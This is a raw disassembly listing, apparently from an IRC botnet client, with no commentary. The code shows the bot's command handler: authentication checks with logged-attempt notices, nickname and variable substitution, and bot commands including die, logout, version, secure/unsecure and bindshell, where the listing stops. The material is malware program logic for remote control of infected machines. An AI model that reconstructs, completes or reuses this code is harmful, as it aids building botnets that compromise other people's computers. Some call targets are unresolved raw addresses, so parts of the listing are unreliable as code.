		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 14h
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_C58]
		push	[ebp+var_C54]
		push	offset unk_441F58
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403230:				; CODE XREF: sub_4021E5+FD9j
		and	[ebp+var_C50], 0
		and	[ebp+var_5D8], 0
		jmp	short loc_40324D
; ---------------------------------------------------------------------------


loc_403240:				; CODE XREF: sub_4021E5:loc_403280j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_40324D:				; CODE XREF: sub_4021E5+1059j
		cmp	[ebp+var_5D8], 1
		jnb	short loc_403282
		push	[ebp+var_C58]
		mov	eax, [ebp+var_5D8]
		push	off_44115C[eax*4]
		call	sub_40D887
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403280
		mov	[ebp+var_C50], 1
		jmp	short loc_403282
; ---------------------------------------------------------------------------


loc_403280:				; CODE XREF: sub_4021E5+108Dj
		jmp	short loc_403240
; ---------------------------------------------------------------------------


loc_403282:				; CODE XREF: sub_4021E5+106Fj
					; sub_4021E5+1099j
		cmp	[ebp+var_C50], 0
		jnz	short loc_4032FB
		push	[ebp+var_C58]
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 14h
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_C58]
		push	[ebp+var_C54]
		push	offset unk_441FD8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4032FB:				; CODE XREF: sub_4021E5+10A4j
		and	[ebp+var_5D8], 0
		jmp	short loc_403311
; ---------------------------------------------------------------------------


loc_403304:				; CODE XREF: sub_4021E5+1165j
					; sub_4021E5:loc_4033C2j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_403311:				; CODE XREF: sub_4021E5+111Dj
		cmp	[ebp+var_5D8], 3
		jge	loc_4033C7
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jnz	short loc_403336
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403336:				; CODE XREF: sub_4021E5+1147j
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jz	short loc_40334C
		jmp	short loc_403304
; ---------------------------------------------------------------------------


loc_40334C:				; CODE XREF: sub_4021E5+1163j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aMrneti_0 ; "mrneti"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4033C2
		push	7Fh
		lea	eax, [ebp+var_658]
		push	eax
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_421470
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_4033AD
		push	0
		push	[ebp+var_85C]
		push	offset unk_442004
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4033AD:				; CODE XREF: sub_4021E5+11A8j
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_442024
		call	sub_417472
		pop	ecx
		pop	ecx
		jmp	short loc_4033C7
; ---------------------------------------------------------------------------


loc_4033C2:				; CODE XREF: sub_4021E5+1182j
		jmp	loc_403304
; ---------------------------------------------------------------------------


loc_4033C7:				; CODE XREF: sub_4021E5+1133j
					; sub_4021E5+11DBj
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4033CF:				; CODE XREF: sub_4021E5+F52j
		cmp	[ebp+var_864], 0
		jnz	short loc_4033F2
		push	[ebp+var_9C]
		push	offset a332_1	; "332"
		call	sub_422740
		pop	ecx


loc_4033E9:				; DATA XREF: sub_610867+251w
		pop	ecx
		test	eax, eax
		jnz	loc_40AFB8


loc_4033F2:				; CODE XREF: sub_4021E5+11F1j
		cmp	[ebp+arg_28], 0


loc_4033F6:				; DATA XREF: sub_610867+262w
		jnz	loc_40AFB8
		and	[ebp+var_5D8], 0
		jmp	short loc_403412
; ---------------------------------------------------------------------------


loc_403405:				; CODE XREF: sub_4021E5:loc_403696j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_403412:				; CODE XREF: sub_4021E5+121Ej
		mov	eax, [ebp+var_5D8]
		cmp	eax, dword_4414AC
		jge	loc_40369B
		mov	eax, [ebp+var_BC]


loc_40342A:				; DATA XREF: .XComp:00611E6Fr
					; .XComp:loc_611E8Ar ...
		push	[ebp+eax*4+var_A0]


loc_403431:				; DATA XREF: sub_610867:loc_61089Ar
					; sub_610867+BEr ...
		mov	eax, [ebp+var_5D8]


loc_403437:
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_403696
		push	offset asc_442048 ; " :"
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_C5C], eax
		cmp	[ebp+var_C5C], 0
		jnz	short loc_403478
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403478:				; CODE XREF: sub_4021E5+1289j
		mov	eax, [ebp+var_C5C]
		mov	cl, byte_441090
		mov	[eax+2], cl
		mov	eax, [ebp+var_C5C]
		mov	cl, byte_441090
		mov	[eax+3], cl
		push	9Fh
		mov	eax, [ebp+var_5D8]
		imul	eax, 0B8h
		add	eax, offset dword_4538B0
		push	eax
		mov	eax, [ebp+var_C5C]
		add	eax, 4
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	[ebp+var_C0], 0Fh
		jmp	short loc_4034D8
; ---------------------------------------------------------------------------


loc_4034CB:				; CODE XREF: sub_4021E5:loc_4035F4j
		mov	eax, [ebp+var_C0]
		dec	eax
		mov	[ebp+var_C0], eax


loc_4034D8:				; CODE XREF: sub_4021E5+12E4j
		cmp	[ebp+var_C0], 0
		jle	loc_4035F9
		push	[ebp+var_C0]
		push	offset aD	; "$%d-"
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4035A6
		mov	eax, [ebp+var_BC]
		add	eax, [ebp+var_C0]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_4035A6
		mov	eax, [ebp+var_5D8]
		imul	eax, 0B8h
		add	eax, offset byte_453898
		push	eax


loc_403540:				; DATA XREF: sub_6106C1+18Ew
					; sub_6108E5+11r
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+var_2D4]
		add	ecx, eax
		mov	[ebp+var_2D4], ecx
		cmp	[ebp+var_2D4], 0
		jz	short loc_4035A4
		mov	eax, [ebp+var_BC]
		add	eax, [ebp+var_C0]
		push	[ebp+eax*4+var_A0]


loc_403570:				; DATA XREF: sub_610867:loc_610A50r
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx


loc_40357C:				; DATA XREF: sub_6124DE+7r
		pop	ecx
		mov	[ebp+var_C60], eax
		cmp	[ebp+var_C60], 0
		jz	short loc_4035A4
		push	[ebp+var_C60]
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch


loc_4035A4:				; CODE XREF: sub_4021E5+1376j
					; sub_4021E5+13A5j
					; DATA XREF: ...
		jmp	short loc_4035F4
; ---------------------------------------------------------------------------


loc_4035A6:				; CODE XREF: sub_4021E5+132Dj
					; sub_4021E5+1347j
		mov	eax, [ebp+var_BC]
		add	eax, [ebp+var_C0]
		cmp	[ebp+eax*4+var_9C], 0
		jnz	short loc_4035F4


loc_4035BC:				; DATA XREF: sub_610A40+7r
		push	2
		lea	eax, [ebp+var_D0]


loc_4035C4:				; DATA XREF: sub_612A1A+13r
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_4035D4:				; DATA XREF: sub_610867+22Ar
					; .XComp:loc_611100r
		and	[ebp+var_85E], 0
		lea	eax, [ebp+var_860]
		push	eax
		lea	eax, [ebp+var_D0]


loc_4035E8:				; DATA XREF: sub_610867+239r
					; .XComp:00611111r
		push	eax
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch


loc_4035F4:				; CODE XREF: sub_4021E5:loc_4035A4j
					; sub_4021E5+13D5j
					; DATA XREF: ...
		jmp	loc_4034CB
; ---------------------------------------------------------------------------


loc_4035F9:				; CODE XREF: sub_4021E5+12FAj
		mov	[ebp+var_C0], 10h
		jmp	short loc_403612
; ---------------------------------------------------------------------------


loc_403605:				; CODE XREF: sub_4021E5:loc_403685j
		mov	eax, [ebp+var_C0]
		dec	eax
		mov	[ebp+var_C0], eax


loc_403612:				; CODE XREF: sub_4021E5+141Ej
		cmp	[ebp+var_C0], 0
		jle	short loc_40368A
		push	[ebp+var_C0]
		push	offset aD_0	; "$%d"
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx


loc_403646:				; DATA XREF: sub_61122Dr sub_61122D+Bw
		test	eax, eax
		jz	short loc_403685
		mov	eax, [ebp+var_BC]
		add	eax, [ebp+var_C0]
		cmp	[ebp+eax*4+var_A0], 0
		jz	short loc_403685
		mov	eax, [ebp+var_BC]
		add	eax, [ebp+var_C0]
		push	[ebp+eax*4+var_A0]
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch


loc_403685:				; CODE XREF: sub_4021E5+1463j
					; sub_4021E5+1479j
		jmp	loc_403605
; ---------------------------------------------------------------------------


loc_40368A:				; CODE XREF: sub_4021E5+1434j
		mov	[ebp+var_C4], 1
		jmp	short loc_40369B
; ---------------------------------------------------------------------------


loc_403696:				; CODE XREF: sub_4021E5+1267j
		jmp	loc_403405
; ---------------------------------------------------------------------------


loc_40369B:				; CODE XREF: sub_4021E5+1239j
					; sub_4021E5+14AFj
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_A0]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_441090
		cmp	eax, ecx
		jz	short loc_4036C3
		cmp	[ebp+var_C4], 0
		jz	loc_403927


loc_4036C3:				; CODE XREF: sub_4021E5+14CFj
		push	[ebp+arg_10]
		push	offset aMe	; "$me"
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset aUser_3	; "$user"
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch
		push	[ebp+var_98]
		push	offset aChan	; "$chan"
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch
		push	0
		push	0
		push	2
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_40CE78
		add	esp, 10h
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch
		push	[ebp+arg_14]
		push	offset aServer_6 ; "$server"
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch


loc_40373C:				; CODE XREF: sub_4021E5+167Ej
		push	offset aChr	; "$chr("
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_403868
		push	offset aChr_0	; "$chr("
		push	[ebp+arg_0]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_C64], eax
		push	4
		mov	eax, [ebp+var_C64]
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset asc_442090 ; ")"
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		movsx	eax, [ebp+var_D0]
		cmp	eax, 30h
		jl	short loc_4037AE
		movsx	eax, [ebp+var_D0]
		cmp	eax, 39h
		jle	short loc_4037C4


loc_4037AE:				; CODE XREF: sub_4021E5+15BBj
		push	3
		push	offset a63	; "63"
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_4037C4:				; CODE XREF: sub_4021E5+15C7j
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_4037EA
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421670
		pop	ecx
		mov	[ebp+var_860], al
		jmp	short loc_4037FE
; ---------------------------------------------------------------------------


loc_4037EA:				; CODE XREF: sub_4021E5+15EEj
		call	sub_421AD0
		cdq
		push	60h
		pop	ecx
		idiv	ecx
		add	edx, 20h
		mov	[ebp+var_860], dl


loc_4037FE:				; CODE XREF: sub_4021E5+1603j
		and	[ebp+var_85F], 0
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_41EBD0
		pop	ecx
		mov	[ebp+var_C0], eax
		push	0Ch
		push	0
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_C0]
		add	eax, 6
		push	eax
		push	[ebp+var_C64]
		lea	eax, [ebp+var_D0]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		lea	eax, [ebp+var_860]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41A1B4
		add	esp, 0Ch
		jmp	loc_40373C
; ---------------------------------------------------------------------------


loc_403868:				; CODE XREF: sub_4021E5+1568j
		push	1FFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	1FFh
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset asc_442098 ; " "
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_A0], eax
		mov	[ebp+var_5D8], 1
		jmp	short loc_4038CC
; ---------------------------------------------------------------------------


loc_4038BF:				; CODE XREF: sub_4021E5+170Bj
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4038CC:				; CODE XREF: sub_4021E5+16D8j
		cmp	[ebp+var_5D8], 20h
		jge	short loc_4038F2
		push	offset asc_44209C ; " "
		push	0
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5D8]
		mov	[ebp+ecx*4+var_A0], eax
		jmp	short loc_4038BF
; ---------------------------------------------------------------------------


loc_4038F2:				; CODE XREF: sub_4021E5+16EEj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_A0], 0
		jnz	short loc_40390A
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40390A:				; CODE XREF: sub_4021E5+171Bj
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_A0]
		add	eax, 3
		mov	ecx, [ebp+var_BC]
		mov	[ebp+ecx*4+var_A0], eax


loc_403927:				; CODE XREF: sub_4021E5+14D8j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRndnick	; "rndnick"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403961
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRn	; "rn"


loc_403956:				; DATA XREF: sub_6124DE+4Bw
					; sub_6124DE+73r ...
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4039BA


loc_403961:				; CODE XREF: sub_4021E5+175Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]


loc_40396E:				; DATA XREF: sub_6124DE+AEw
					; sub_612A1A:loc_612A33r
		movzx	eax, [ebp+var_364]
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		push	dword_441098


loc_403982:				; DATA XREF: .XComp:00611E0Fw
					; .XComp:0061219Cr ...
		lea	eax, [ebp+var_20]
		push	eax


loc_403986:				; DATA XREF: .XComp:00611E45w
					; .XComp:0061228Ar ...
		call	sub_40CE78
		add	esp, 10h


loc_40398E:				; DATA XREF: sub_611A29+20w
					; sub_611A98+6w ...
		lea	eax, [ebp+var_20]
		push	eax


loc_403992:				; DATA XREF: sub_611A98w sub_611AD5w ...
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]


loc_40399A:				; DATA XREF: .XComp:00611CBAw
					; .XComp:006121FBr
		call	sub_40AFBE
		add	esp, 0Ch


loc_4039A2:				; DATA XREF: .XComp:loc_611EB5w
					; .XComp:00612272r
		lea	eax, [ebp+var_20]
		push	eax


loc_4039A6:				; DATA XREF: sub_6119E2+1w
					; sub_6119E2+30w ...
		push	offset unk_4420B8
		call	sub_417472
		pop	ecx
		pop	ecx


loc_4039B2:				; DATA XREF: sub_610867+4Br
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4039BA:				; CODE XREF: sub_4021E5+177Aj
					; DATA XREF: sub_610867+57r
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDie	; "die"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4039F4
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aD_1	; "d"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_403A1C


loc_4039F4:				; CODE XREF: sub_4021E5+17F0j
		push	[ebp+var_9C]
		push	offset a332_2	; "332"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403A17
		call	sub_40D605
		push	0
		call	near ptr 7C81CDDAh
		nop


loc_403A17:				; CODE XREF: sub_4021E5+1823j
		jmp	loc_4061D7
; ---------------------------------------------------------------------------


loc_403A1C:				; CODE XREF: sub_4021E5+180Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aLogout	; "logout"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403A5A
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aLo	; "lo"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_403BC5


loc_403A5A:				; CODE XREF: sub_4021E5+1852j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	loc_403B1C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_5D8], eax
		cmp	[ebp+var_5D8], 0
		jl	short loc_403B00
		cmp	[ebp+var_5D8], 3
		jge	short loc_403B00
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jz	short loc_403AE4
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		lea	eax, [ecx+eax+1]
		push	eax
		push	offset unk_4420F4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_403AFE
; ---------------------------------------------------------------------------


loc_403AE4:				; CODE XREF: sub_4021E5+18C6j
		push	[ebp+var_5D8]
		push	offset unk_442114
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_403AFE:				; CODE XREF: sub_4021E5+18FDj
		jmp	short loc_403B1A
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_4021E5+18A9j
					; sub_4021E5+18B2j
		push	[ebp+var_5D8]
		push	offset unk_442140
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_403B1A:				; CODE XREF: sub_4021E5:loc_403AFEj
		jmp	short loc_403B8A
; ---------------------------------------------------------------------------


loc_403B1C:				; CODE XREF: sub_4021E5+1883j
		and	[ebp+var_5D8], 0
		jmp	short loc_403B32
; ---------------------------------------------------------------------------


loc_403B25:				; CODE XREF: sub_4021E5:loc_403B88j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_403B32:				; CODE XREF: sub_4021E5+193Ej
		cmp	[ebp+var_5D8], 3
		jge	short loc_403B8A
		push	[ebp+var_A0]
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_403B88
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		and	byte ptr [ecx+eax], 0
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_44216C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_403B8A
; ---------------------------------------------------------------------------


loc_403B88:				; CODE XREF: sub_4021E5+1974j
		jmp	short loc_403B25
; ---------------------------------------------------------------------------


loc_403B8A:				; CODE XREF: sub_4021E5:loc_403B1Aj
					; sub_4021E5+1954j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_403BB0
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_403BB0:				; CODE XREF: sub_4021E5+19A9j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403BC5:				; CODE XREF: sub_4021E5+186Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aVersion	; "version"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403BFF
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aVer	; "ver"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_403C53


loc_403BFF:				; CODE XREF: sub_4021E5+19FBj
		push	offset dword_4410B0
		push	offset dword_442198
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_403C3E
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_403C3E:				; CODE XREF: sub_4021E5+1A37j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403C53:				; CODE XREF: sub_4021E5+1A18j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDedication ; "dedication"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403C8D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDed	; "ded"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_403CDB


loc_403C8D:				; CODE XREF: sub_4021E5+1A89j
		push	offset unk_4421B8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_403CC6
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_403CC6:				; CODE XREF: sub_4021E5+1ABFj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403CDB:				; CODE XREF: sub_4021E5+1AA6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSecure	; "secure"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403D53
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSec	; "sec"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403D53
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUnsecure ; "unsecure"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403D53
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUnsec	; "unsec"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_403EC6


loc_403D53:				; CODE XREF: sub_4021E5+1B11j
					; sub_4021E5+1B2Ej ...
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSecure_0 ; "secure"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403D96
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSec_0	; "sec"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403D96
		and	[ebp+var_4118],	0
		jmp	short loc_403DA0
; ---------------------------------------------------------------------------


loc_403D96:				; CODE XREF: sub_4021E5+1B89j
					; sub_4021E5+1BA6j
		mov	[ebp+var_4118],	1


loc_403DA0:				; CODE XREF: sub_4021E5+1BAFj
		mov	eax, [ebp+var_4118]
		mov	[ebp+var_C74], eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_CF8]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_CFC], eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_C70], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C6C], eax
		cmp	[ebp+var_C74], 0
		jz	short loc_403DF9
		mov	[ebp+var_411C],	offset aSecuring ; "Securing"
		jmp	short loc_403E03
; ---------------------------------------------------------------------------


loc_403DF9:				; CODE XREF: sub_4021E5+1C06j
		mov	[ebp+var_411C],	offset aUnsecuring ; "Unsecuring"


loc_403E03:				; CODE XREF: sub_4021E5+1C12j
		push	[ebp+var_411C]
		push	offset dword_4422AC
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		push	22h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_C78], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_CFC]
		push	eax
		push	offset sub_41D75F
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_C78]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_C78]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_403E96


loc_403E81:				; CODE XREF: sub_4021E5+1CADj
		cmp	[ebp+var_C68], 0
		jnz	short loc_403E94
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_403E81
; ---------------------------------------------------------------------------


loc_403E94:				; CODE XREF: sub_4021E5+1CA3j
		jmp	short loc_403EB1
; ---------------------------------------------------------------------------


loc_403E96:				; CODE XREF: sub_4021E5+1C9Aj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset dword_4422C8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_403EB1:				; CODE XREF: sub_4021E5:loc_403E94j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_403EC6:				; CODE XREF: sub_4021E5+1B68j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aBindshell ; "bindshell"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403F04
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aBd	; "bd"
